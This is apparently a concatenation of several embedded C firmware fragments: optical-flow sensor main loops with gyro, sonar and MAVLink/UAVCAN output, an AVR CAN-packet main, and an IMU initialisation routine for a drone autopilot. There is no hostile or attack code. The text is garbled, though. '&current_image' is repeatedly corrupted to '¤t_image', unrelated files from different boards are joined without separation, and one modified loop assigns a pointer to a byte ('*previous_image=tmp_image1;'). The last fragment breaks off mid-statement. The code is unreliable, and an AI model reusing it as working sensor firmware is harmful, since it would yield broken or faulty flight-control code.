float y_temprate=0; float z_temprate=0; int defCount=3; for (uint16_t pixel = 0; pixel < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; pixel++) { *(tmp_image1+pixel)=0; *(tmp_image2+pixel)=0; } uint16_t image_sum1=0; uint16_t image_sum2=0; uint16_t image_sum3=0; uint16_t image_sum4=0; //EndChange /* main loop */ while (1) { uint16_t image_size = global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; /* reset flow buffers if needed */ if(buffer_reset_needed) { buffer_reset_needed = 0; for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } delay(500); continue; } /* calibration routine */ if(global_data.param[PARAM_VIDEO_ONLY]) { while(global_data.param[PARAM_VIDEO_ONLY]) { dcmi_restart_calibration_routine(); /* waiting for first quarter of image */ while(get_frame_counter() < 2){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for second quarter of image */ while(get_frame_counter() < 3){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for all image parts */ while(get_frame_counter() < 4){} send_calibration_image(&previous_image, ¤t_image); if (global_data.param[PARAM_SYSTEM_SEND_STATE]) communication_system_state_send(); communication_receive_usb(); debug_message_send_one(); communication_parameter_send(); LEDToggle(LED_COM); } dcmi_restart_calibration_routine(); LEDOff(LED_COM); } //StartChange if(count<=defCount) { if(count==1) { for (uint16_t pixel = 0; pixel < image_size; pixel++) { image_sum1+=*(previous_image+pixel); } for (uint16_t pixel = 0; pixel < image_size; pixel++) { *(tmp_image1+pixel)=(uint8_t)(*(previous_image+pixel)); } } else { for (uint16_t pixel = 0; pixel < image_size; pixel++) { image_sum2+=*(previous_image+pixel); } if(image_sum1<image_sum2) { image_sum1=image_sum2; for (uint16_t pixel = 0; pixel < image_size; pixel++) { *(tmp_image1+pixel)=(uint8_t)(*(previous_image+pixel)); } } image_sum2=0; } } if(count>defCount&&count<=2*defCount) { // uint16_t image_sum1=0; // uint16_t image_sum2=0; if(count==defCount+1) { for (uint16_t pixel = 0; pixel < image_size; pixel++) { image_sum3+=*(current_image+pixel); } for (uint16_t pixel = 0; pixel < image_size; pixel++) { *(tmp_image2+pixel)=(uint8_t)(*(previous_image+pixel)); } } else { for (uint16_t pixel = 0; pixel < image_size; pixel++) { image_sum4+=*(current_image+pixel); } if(image_sum3<image_sum4) { image_sum3=image_sum4; for (uint16_t pixel = 0; pixel < image_size; pixel++) { *(tmp_image2+pixel)=(uint8_t)(*(previous_image+pixel)); } } image_sum4=0; } } // if(count<=defCount) // { // for (uint16_t pixel = 0; pixel < image_size; pixel++) // { // *(tmp_image1+pixel)+=(uint8_t)(*(previous_image+pixel)/defCount); // } // } // if(count>defCount&&count<=2*defCount) // { // for (uint16_t pixel = 0; pixel < image_size; pixel++) // { // *(tmp_image2+pixel)+=(uint8_t)(*(current_image+pixel)/defCount); // } // // } count++; if(count==2*defCount+1) { /* new gyroscope data */ float x_rate_sensor, y_rate_sensor, z_rate_sensor; int16_t gyro_temp; gyro_read(&x_rate_sensor, &y_rate_sensor, &z_rate_sensor,&gyro_temp); /* gyroscope coordinate transformation */ x_temprate += y_rate_sensor/(2*defCount); // change x and y rates y_temprate += - x_rate_sensor/(2*defCount); z_temprate += z_rate_sensor/(2*defCount); // z is correct /* calculate focal_length in pixel */ const float focal_length_px = (global_data.param[PARAM_FOCAL_LENGTH_MM]) / (4.0f * 6.0f) * 1000.0f; //original focal lenght: 12mm pixelsize: 6um, binning 4 enabled /* get sonar data */ distance_valid = sonar_read(&sonar_distance_filtered, &sonar_distance_raw); /* reset to zero for invalid distances */ if (!distance_valid) { sonar_distance_filtered = 0.0f; sonar_distance_raw = 0.0f; } float x_rate = x_temprate; // change x and y rates float y_rate = - y_temprate; float z_rate = z_temprate; // z is correct x_temprate =0.0f; y_temprate =0.0f; z_temprate =0.0f; // /* calculate focal_length in pixel */ // const float focal_length_px = (global_data.param[PARAM_FOCAL_LENGTH_MM]) / (4.0f * 6.0f) * 1000.0f; //original focal lenght: 12mm pixelsize: 6um, binning 4 enabled // // /* get sonar data */ // distance_valid = sonar_read(&sonar_distance_filtered, &sonar_distance_raw); *previous_image=tmp_image1; *current_image=tmp_image2; count=1; for (uint16_t pixel = 0; pixel < image_size; pixel++) { *(tmp_image1+pixel)=0; *(tmp_image2+pixel)=0; } image_sum1=0; image_sum2=0; image_sum3=0; image_sum4=0; /* compute optical flow */ if(global_data.param[PARAM_SENSOR_POSITION] == BOTTOM) { /* copy recent image to faster ram */ dma_copy_image_buffers(¤t_image, &previous_image, image_size, 1); for(int i=0;i<64;++i) { for(int j=0;j<64;++j) { previous_image1[i][j]=*(previous_image+64*i+j); current_image1[i][j]=*(current_image+64*i+j); } } /* compute optical flow */ qual = compute_flow(previous_image, current_image, x_rate, y_rate, z_rate, &pixel_flow_x, &pixel_flow_y); /* * real point P (X,Y,Z), image plane projection p (x,y,z), focal-length f, distance-to-scene Z * x / f = X / Z * y / f = Y / Z */ float flow_compx = pixel_flow_x / focal_length_px / (get_time_between_images() / 1000000.0f); float flow_compy = pixel_flow_y / focal_length_px / (get_time_between_images() / 1000000.0f); /* integrate velocity and output values only if distance is valid */ if (distance_valid) { /* calc velocity (negative of flow values scaled with distance) */ float new_velocity_x = - flow_compx * sonar_distance_filtered; float new_velocity_y = - flow_compy * sonar_distance_filtered; time_since_last_sonar_update = (get_boot_time_us()- get_sonar_measure_time()); if (qual > 0) { velocity_x_sum += new_velocity_x; velocity_y_sum += new_velocity_y; valid_frame_count++; uint32_t deltatime = (get_boot_time_us() - lasttime); integration_timespan += deltatime; accumulated_flow_x += pixel_flow_y / focal_length_px * 1.0f; //rad axis swapped to align x flow around y axis accumulated_flow_y += pixel_flow_x / focal_length_px * -1.0f;//rad accumulated_gyro_x += x_rate * deltatime / 1000000.0f; //rad accumulated_gyro_y += y_rate * deltatime / 1000000.0f; //rad accumulated_gyro_z += z_rate * deltatime / 1000000.0f; //rad accumulated_framecount++; accumulated_quality += qual; /* lowpass velocity output */ velocity_x_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_x + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_y + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } //update lasttime lasttime = get_boot_time_us(); pixel_flow_x_sum += pixel_flow_x; pixel_flow_y_sum += pixel_flow_y; pixel_flow_count++; } counter++; if(global_data.param[PARAM_SENSOR_POSITION] == BOTTOM) { /* send bottom flow if activated */ float ground_distance = 0.0f; if(global_data.param[PARAM_SONAR_FILTERED]) { ground_distance = sonar_distance_filtered; } else { ground_distance = sonar_distance_raw; } if(global_data.param[PARAM_BOTTOM_FLOW_LP_FILTERED]) { /* lowpass velocity output */ pixel_flow_x_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * pixel_flow_x + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * pixel_flow_x_lp; pixel_flow_y_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * pixel_flow_y + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * pixel_flow_y_lp; } else { pixel_flow_x_lp = pixel_flow_x; pixel_flow_y_lp = pixel_flow_y; } //update I2C transmitbuffer if(valid_frame_count>0) { update_TX_buffer(pixel_flow_x_lp, pixel_flow_y_lp, velocity_x_sum/valid_frame_count, velocity_y_sum/valid_frame_count, qual, ground_distance, x_rate, y_rate, z_rate, gyro_temp); last_vel_x = velocity_x_sum/valid_frame_count; last_vel_y = velocity_y_sum/valid_frame_count; vel_x = last_vel_x; vel_y = last_vel_y; } else { /* update_TX_buffer(pixel_flow_x_lp, pixel_flow_y_lp, last_vel_x, last_vel_y, qual, ground_distance, x_rate, y_rate, z_rate, gyro_temp); vel_x = 0; vel_y = 0; */ } //serial mavlink + usb mavlink output throttled if (counter % (uint32_t)global_data.param[PARAM_BOTTOM_FLOW_SERIAL_THROTTLE_FACTOR] == 0)//throttling factor { float flow_comp_m_x = 0.0f; float flow_comp_m_y = 0.0f; if(global_data.param[PARAM_BOTTOM_FLOW_LP_FILTERED]) { flow_comp_m_x = velocity_x_lp; flow_comp_m_y = velocity_y_lp; } else { if(valid_frame_count>0) { flow_comp_m_x = velocity_x_sum/valid_frame_count; flow_comp_m_y = velocity_y_sum/valid_frame_count; } else { flow_comp_m_x = 0.0f; flow_comp_m_y = 0.0f; } } // send flow mavlink_msg_optical_flow_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, accumulated_gyro_x, accumulated_gyro_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); /* mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, vel_x, vel_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); */ /* mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, last_vel_x, last_vel_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); */ /* send approximate local position estimate without heading */ if (global_data.param[PARAM_SYSTEM_SEND_LPOS]) { /* rough local position estimate for unit testing */ lpos.x += ground_distance*accumulated_flow_x; lpos.y += ground_distance*accumulated_flow_y; lpos.z = -ground_distance; /* velocity not directly measured and not important for testing */ lpos.vx = 0; lpos.vy = 0; lpos.vz = 0; } else { /* toggling param allows user reset */ lpos.x = 0; lpos.y = 0; lpos.z = 0; lpos.vx = 0; lpos.vy = 0; lpos.vz = 0; } if (global_data.param[PARAM_USB_SEND_FLOW]) { mavlink_msg_optical_flow_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, accumulated_gyro_x, accumulated_gyro_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); } if(global_data.param[PARAM_USB_SEND_GYRO]) { mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "GYRO", get_boot_time_us(), x_rate, y_rate, z_rate); } integration_timespan = 0; accumulated_flow_x = 0; accumulated_flow_y = 0; accumulated_framecount = 0; accumulated_quality = 0; accumulated_gyro_x = 0; accumulated_gyro_y = 0; accumulated_gyro_z = 0; velocity_x_sum = 0.0f; velocity_y_sum = 0.0f; pixel_flow_x_sum = 0.0f; pixel_flow_y_sum = 0.0f; valid_frame_count = 0; pixel_flow_count = 0; } } /* forward flow from other sensors */ if (counter % 2) { communication_receive_forward(); } /* send system state, receive commands */ if (send_system_state_now) { /* every second */ if (global_data.param[PARAM_SYSTEM_SEND_STATE]) { communication_system_state_send(); } send_system_state_now = false; } /* receive commands */ if (receive_now) { /* test every second */ communication_receive(); communication_receive_usb(); receive_now = false; } /* sending debug msgs and requested parameters */ if (send_params_now) { debug_message_send_one(); communication_parameter_send(); send_params_now = false; } /* send local position estimate, for testing only, doesn't account for heading */ if (send_lpos_now) { if (global_data.param[PARAM_SYSTEM_SEND_LPOS]) { mavlink_msg_local_position_ned_send(MAVLINK_COMM_2, timer_ms, lpos.x, lpos.y, lpos.z, lpos.vx, lpos.vy, lpos.vz); } send_lpos_now = false; } /* transmit raw 8-bit image */ if (global_data.param[PARAM_USB_SEND_VIDEO] && send_image_now) { /* get size of image to send */ uint16_t image_size_send; uint16_t image_width_send; uint16_t image_height_send; image_size_send = image_size; image_width_send = global_data.param[PARAM_IMAGE_WIDTH]; image_height_send = global_data.param[PARAM_IMAGE_HEIGHT]; mavlink_msg_data_transmission_handshake_send( MAVLINK_COMM_2, MAVLINK_DATA_STREAM_IMG_RAW8U, image_size_send, image_width_send, image_height_send, image_size_send / MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN + 1, MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN, 100); LEDToggle(LED_COM); uint16_t frame = 0; for (frame = 0; frame < image_size_send / MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN + 1; frame++) { mavlink_msg_encapsulated_data_send(MAVLINK_COMM_2, frame, &((uint8_t *) current_image)[frame * MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN]); } send_image_now = false; } else if (!global_data.param[PARAM_USB_SEND_VIDEO]) { LEDOff(LED_COM); } } //EndChange } }
/***** main loop *****/ int main(){ unsigned char i; init_status = no_init; volatile U8 led_toggle_counter = 0; U8 reset_cause = MCUSR; MCUSR = 0x00; //red_LED_toggle(); //external crystal, no prescaler CLKPR = 0x80; CLKPR = 0x00; //prepare the incremental_in_value_packet incremental_in_value_packet.id = 0x07; incremental_in_value_packet.length = 6; for (i = 0; i < incremental_in_value_packet.length; i++) { incremental_in_value_packet.data[i] = 0; } //prepare the init_ack_async_packet init_ack_sync_packet.id = 0x02; init_ack_sync_packet.length = 1; init_ack_sync_packet.data[0] = 0x14; communication_init(); //EICRA = 0x0C; //INT1 pin triggers async interrupt on rising edge //EICRB = 0xAA; //INT7-4 pins trigger sync interrupt on falling edge //EIMSK = 0xF2; //INT7-4 and INT1 are enabled //global interrupt enable sei(); if (prepare_rx(1,0x01,0xFF,incoming_init)) red_LED_on(); //debug for incoming message //TWBR = reset_cause; update_DA_A(STOP_DA_VAL); update_DA_B(STOP_DA_VAL); update_DA_C(STOP_DA_VAL); DA_LDAC_high(); DA_LDAC_low(); green_LED_on(); while(1){ if (init_status == init_2){ init_status = running; prepare_rx(3, 0x05, 0xFF, incoming_stop); prepare_rx(4, 0x06, 0xFF, incoming_DA_out_value); prepare_rx(6, 0x0B, 0xFF, incoming_request_incremental_value); prepare_rx(7, 0x0E, 0xFF, incoming_sync_command); } if (init_status == running) { prepare_incremental_in_value_packet(); while(!can_tx(5, &incremental_in_value_packet)) {}; if ((++led_toggle_counter) == 0xFF) { yellow_LED_toggle(); led_toggle_counter = 0; } } } return 0; }
/** * @brief Initialize the whole system * * All functions that need to be called before the first mainloop iteration * should be placed here. */ void main_init_generic(void) { // Reset to safe values global_data_reset(); // Load default eeprom parameters as fallback global_data_reset_param_defaults(); // LOWLEVEL INIT, ONLY VERY BASIC SYSTEM FUNCTIONS hw_init(); enableIRQ(); led_init(); led_on(LED_GREEN); buzzer_init(); sys_time_init(); sys_time_periodic_init(); sys_time_clock_init(); ppm_init(); pwm_init(); // Lowlevel periphel support init adc_init(); // FIXME SDCARD // MMC_IO_Init(); spi_init(); i2c_init(); // Sensor init sensors_init(); debug_message_buffer("Sensor initialized"); // Shutter init shutter_init(); shutter_control(0); // Debug output init debug_message_init(); debug_message_buffer("Text message buffer initialized"); // MEDIUM LEVEL INIT, INITIALIZE I2C, EEPROM, WAIT FOR MOTOR CONTROLLERS // Try to reach the EEPROM eeprom_check_start(); // WAIT FOR 2 SECONDS FOR THE USER TO NOT TOUCH THE UNIT while (sys_time_clock_get_time_usec() < 2000000) { } // Do the auto-gyro calibration for 1 second // Get current temperature led_on(LED_RED); gyro_init(); // uint8_t timeout = 3; // // Check for SD card // while (sys_time_clock_get_time_usec() < 2000000) // { // while (GetDriveInformation() != F_OK && timeout--) // { // debug_message_buffer("MMC/SD-Card not found ! retrying.."); // } // } // // if (GetDriveInformation() == F_OK) // { // debug_message_buffer("MMC/SD-Card SUCCESS: FOUND"); // } // else // { // debug_message_buffer("MMC/SD-Card FAILURE: NOT FOUND"); // } //FIXME redo init because of SD driver decreasing speed //spi_init(); led_off(LED_RED); // Stop trying to reach the EEPROM - if it has not been found by now, assume // there is no EEPROM mounted if (eeprom_check_ok()) { param_read_all(); debug_message_buffer("EEPROM detected - reading parameters from EEPROM"); for (int i = 0; i < ONBOARD_PARAM_COUNT * 2 + 20; i++) { param_handler(); //sleep 1 ms sys_time_wait(1000); } } else { debug_message_buffer("NO EEPROM - reading onboard parameters from FLASH"); } // Set mavlink system mavlink_system.compid = MAV_COMP_ID_IMU; mavlink_system.sysid = global_data.param[PARAM_SYSTEM_ID]; //Magnet sensor hmc5843_init(); acc_init(); // Comm parameter init mavlink_system.sysid = global_data.param[PARAM_SYSTEM_ID]; // System ID, 1-255 mavlink_system.compid = global_data.param[PARAM_COMPONENT_ID]; // Component/Subsystem ID, 1-255 // Comm init has to be // AFTER PARAM INIT comm_init(MAVLINK_COMM_0); comm_init(MAVLINK_COMM_1); // UART initialized, now initialize COMM peripherals communication_init(); gps_init(); us_run_init(); servos_init(); //position_kalman3_init(); // Calibration starts (this can take a few seconds) // led_on(LED_GREEN); // led_on(LED_RED); // Read out first time battery global_data.battery_voltage = battery_get_value(); global_data.state.mav_mode = MAV_MODE_PREFLIGHT; global_data.state.status = MAV_STATE_CALIBRATING; send_system_state(); float_vect3 init_state_accel; init_state_accel.x = 0.0f; init_state_accel.y = 0.0f; init_state_accel.z = -1000.0f; float_vect3 init_state_magnet; init_state_magnet.x = 1.0f; init_state_magnet.y = 0.0f; init_state_magnet.z = 0.0f; //auto_calibration(); attitude_observer_init(init_state_accel, init_state_magnet); debug_message_buffer("Attitude Filter initialized"); led_on(LED_RED); send_system_state(); debug_message_buffer("System is initialized"); // Calibration stopped led_off(LED_RED); global_data.state.mav_mode = MAV_MODE_FLAG_MANUAL_INPUT_ENABLED; global_data.state.status = MAV_STATE_STANDBY; send_system_state(); debug_message_buffer("Checking if remote control is switched on:"); // Initialize remote control status remote_control(); remote_control(); if (radio_control_status() == RADIO_CONTROL_ON && global_data.state.remote_ok) { global_data.state.mav_mode = MAV_MODE_FLAG_MANUAL_INPUT_ENABLED | MAV_MODE_FLAG_TEST_ENABLED; debug_message_buffer("RESULT: remote control switched ON"); debug_message_buffer("Now in MAV_MODE_TEST2 position hold tobi_laurens"); led_on(LED_GREEN); } else { global_data.state.mav_mode = MAV_MODE_FLAG_MANUAL_INPUT_ENABLED; debug_message_buffer("RESULT: remote control switched OFF"); led_off(LED_GREEN); } }
/** * @brief Main function. */ int main(void) { __enable_irq(); /* load settings and parameters */ global_data_reset_param_defaults(); global_data_reset(); PROBE_INIT(); /* init led */ LEDInit(LED_ACT); LEDInit(LED_COM); LEDInit(LED_ERR); LEDOff(LED_ACT); LEDOff(LED_COM); LEDOff(LED_ERR); board_led_rgb(255,255,255, 1); board_led_rgb( 0, 0,255, 0); board_led_rgb( 0, 0, 0, 0); board_led_rgb(255, 0, 0, 1); board_led_rgb(255, 0, 0, 2); board_led_rgb(255, 0, 0, 3); board_led_rgb( 0,255, 0, 3); board_led_rgb( 0, 0,255, 4); /* enable FPU on Cortex-M4F core */ SCB_CPACR |= ((3UL << 10 * 2) | (3UL << 11 * 2)); /* set CP10 Full Access and set CP11 Full Access */ /* init clock */ if (SysTick_Config(SystemCoreClock / 100000))/*set timer to trigger interrupt every 10 microsecond */ { /* capture clock error */ LEDOn(LED_ERR); while (1); } /* init usb */ USBD_Init( &USB_OTG_dev, USB_OTG_FS_CORE_ID, &USR_desc, &USBD_CDC_cb, &USR_cb); /* init mavlink */ communication_init(); /* enable image capturing */ enable_image_capture(); /* gyro config */ gyro_config(); /* init and clear fast image buffers */ for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } uint8_t * current_image = image_buffer_8bit_1; uint8_t * previous_image = image_buffer_8bit_2; /* usart config*/ usart_init(); /* i2c config*/ i2c_init(); /* sonar config*/ float sonar_distance_filtered = 0.0f; // distance in meter float sonar_distance_raw = 0.0f; // distance in meter bool distance_valid = false; sonar_config(); /* reset/start timers */ timer[TIMER_SONAR] = SONAR_TIMER_COUNT; timer[TIMER_SYSTEM_STATE] = SYSTEM_STATE_COUNT; timer[TIMER_RECEIVE] = SYSTEM_STATE_COUNT / 2; timer[TIMER_PARAMS] = PARAMS_COUNT; timer[TIMER_IMAGE] = global_data.param[PARAM_VIDEO_RATE]; /* variables */ uint32_t counter = 0; uint8_t qual = 0; /* bottom flow variables */ float pixel_flow_x = 0.0f; float pixel_flow_y = 0.0f; float pixel_flow_x_sum = 0.0f; float pixel_flow_y_sum = 0.0f; float velocity_x_sum = 0.0f; float velocity_y_sum = 0.0f; float velocity_x_lp = 0.0f; float velocity_y_lp = 0.0f; int valid_frame_count = 0; int pixel_flow_count = 0; static float accumulated_flow_x = 0; static float accumulated_flow_y = 0; static float accumulated_gyro_x = 0; static float accumulated_gyro_y = 0; static float accumulated_gyro_z = 0; static uint16_t accumulated_framecount = 0; static uint16_t accumulated_quality = 0; static uint32_t integration_timespan = 0; static uint32_t lasttime = 0; uint32_t time_since_last_sonar_update= 0; uint32_t time_last_pub= 0; uavcan_start(); /* main loop */ while (1) { PROBE_1(false); uavcan_run(); PROBE_1(true); /* reset flow buffers if needed */ if(buffer_reset_needed) { buffer_reset_needed = 0; for (int i = 0; i < global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; i++) { image_buffer_8bit_1[i] = 0; image_buffer_8bit_2[i] = 0; } delay(500); continue; } /* calibration routine */ if(FLOAT_AS_BOOL(global_data.param[PARAM_VIDEO_ONLY])) { while(FLOAT_AS_BOOL(global_data.param[PARAM_VIDEO_ONLY])) { dcmi_restart_calibration_routine(); /* waiting for first quarter of image */ while(get_frame_counter() < 2){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for second quarter of image */ while(get_frame_counter() < 3){} dma_copy_image_buffers(¤t_image, &previous_image, FULL_IMAGE_SIZE, 1); /* waiting for all image parts */ while(get_frame_counter() < 4){} send_calibration_image(&previous_image, ¤t_image); if (FLOAT_AS_BOOL(global_data.param[PARAM_SYSTEM_SEND_STATE])) communication_system_state_send(); communication_receive_usb(); debug_message_send_one(); communication_parameter_send(); LEDToggle(LED_COM); } dcmi_restart_calibration_routine(); LEDOff(LED_COM); } uint16_t image_size = global_data.param[PARAM_IMAGE_WIDTH] * global_data.param[PARAM_IMAGE_HEIGHT]; /* new gyroscope data */ float x_rate_sensor, y_rate_sensor, z_rate_sensor; int16_t gyro_temp; gyro_read(&x_rate_sensor, &y_rate_sensor, &z_rate_sensor,&gyro_temp); /* gyroscope coordinate transformation */ float x_rate = y_rate_sensor; // change x and y rates float y_rate = - x_rate_sensor; float z_rate = z_rate_sensor; // z is correct /* calculate focal_length in pixel */ const float focal_length_px = (global_data.param[PARAM_FOCAL_LENGTH_MM]) / (4.0f * 6.0f) * 1000.0f; //original focal lenght: 12mm pixelsize: 6um, binning 4 enabled /* get sonar data */ distance_valid = sonar_read(&sonar_distance_filtered, &sonar_distance_raw); /* reset to zero for invalid distances */ if (!distance_valid) { sonar_distance_filtered = 0.0f; sonar_distance_raw = 0.0f; } /* compute optical flow */ if (FLOAT_EQ_INT(global_data.param[PARAM_SENSOR_POSITION], BOTTOM)) { /* copy recent image to faster ram */ dma_copy_image_buffers(¤t_image, &previous_image, image_size, 1); /* compute optical flow */ qual = compute_flow(previous_image, current_image, x_rate, y_rate, z_rate, &pixel_flow_x, &pixel_flow_y); /* * real point P (X,Y,Z), image plane projection p (x,y,z), focal-length f, distance-to-scene Z * x / f = X / Z * y / f = Y / Z */ float flow_compx = pixel_flow_x / focal_length_px / (get_time_between_images() / 1000000.0f); float flow_compy = pixel_flow_y / focal_length_px / (get_time_between_images() / 1000000.0f); if (qual > 0) { valid_frame_count++; uint32_t deltatime = (get_boot_time_us() - lasttime); integration_timespan += deltatime; accumulated_flow_x += pixel_flow_y / focal_length_px * 1.0f; //rad axis swapped to align x flow around y axis accumulated_flow_y += pixel_flow_x / focal_length_px * -1.0f;//rad accumulated_gyro_x += x_rate * deltatime / 1000000.0f; //rad accumulated_gyro_y += y_rate * deltatime / 1000000.0f; //rad accumulated_gyro_z += z_rate * deltatime / 1000000.0f; //rad accumulated_framecount++; accumulated_quality += qual; } /* integrate velocity and output values only if distance is valid */ if (distance_valid) { /* calc velocity (negative of flow values scaled with distance) */ float new_velocity_x = - flow_compx * sonar_distance_filtered; float new_velocity_y = - flow_compy * sonar_distance_filtered; time_since_last_sonar_update = (get_boot_time_us()- get_sonar_measure_time()); if (qual > 0) { velocity_x_sum += new_velocity_x; velocity_y_sum += new_velocity_y; /* lowpass velocity output */ velocity_x_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_x + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW] * new_velocity_y + (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } } else { /* taking flow as zero */ velocity_x_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_x_lp; velocity_y_lp = (1.0f - global_data.param[PARAM_BOTTOM_FLOW_WEIGHT_NEW]) * velocity_y_lp; } //update lasttime lasttime = get_boot_time_us(); pixel_flow_x_sum += pixel_flow_x; pixel_flow_y_sum += pixel_flow_y; pixel_flow_count++; } counter++; if (FLOAT_EQ_INT(global_data.param[PARAM_SENSOR_POSITION], BOTTOM)) { /* send bottom flow if activated */ float ground_distance = 0.0f; if(FLOAT_AS_BOOL(global_data.param[PARAM_SONAR_FILTERED])) { ground_distance = sonar_distance_filtered; } else { ground_distance = sonar_distance_raw; } uavcan_define_export(i2c_data, legacy_12c_data_t, ccm); uavcan_define_export(range_data, range_data_t, ccm); uavcan_timestamp_export(i2c_data); uavcan_assign(range_data.time_stamp_utc, i2c_data.time_stamp_utc); //update I2C transmitbuffer if(valid_frame_count>0) { update_TX_buffer(pixel_flow_x, pixel_flow_y, velocity_x_sum/valid_frame_count, velocity_y_sum/valid_frame_count, qual, ground_distance, x_rate, y_rate, z_rate, gyro_temp, uavcan_use_export(i2c_data)); } else { update_TX_buffer(pixel_flow_x, pixel_flow_y, 0.0f, 0.0f, qual, ground_distance, x_rate, y_rate, z_rate, gyro_temp, uavcan_use_export(i2c_data)); } PROBE_2(false); uavcan_publish(range, 40, range_data); PROBE_2(true); PROBE_3(false); uavcan_publish(flow, 40, i2c_data); PROBE_3(true); //serial mavlink + usb mavlink output throttled uint32_t now = get_boot_time_us(); uint32_t time_since_last_pub = now - time_last_pub; if (time_since_last_pub > (1.0e6f/global_data.param[PARAM_BOTTOM_FLOW_PUB_RATE])) { time_last_pub = now; float flow_comp_m_x = 0.0f; float flow_comp_m_y = 0.0f; if(FLOAT_AS_BOOL(global_data.param[PARAM_BOTTOM_FLOW_LP_FILTERED])) { flow_comp_m_x = velocity_x_lp; flow_comp_m_y = velocity_y_lp; } else { if(valid_frame_count>0) { flow_comp_m_x = velocity_x_sum/valid_frame_count; flow_comp_m_y = velocity_y_sum/valid_frame_count; } else { flow_comp_m_x = 0.0f; flow_comp_m_y = 0.0f; } } // send flow mavlink_msg_optical_flow_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_0, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, accumulated_gyro_x, accumulated_gyro_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); /* send approximate local position estimate without heading */ if (FLOAT_AS_BOOL(global_data.param[PARAM_SYSTEM_SEND_LPOS])) { /* rough local position estimate for unit testing */ lpos.x += ground_distance*accumulated_flow_x; lpos.y += ground_distance*accumulated_flow_y; lpos.z = -ground_distance; lpos.vx = 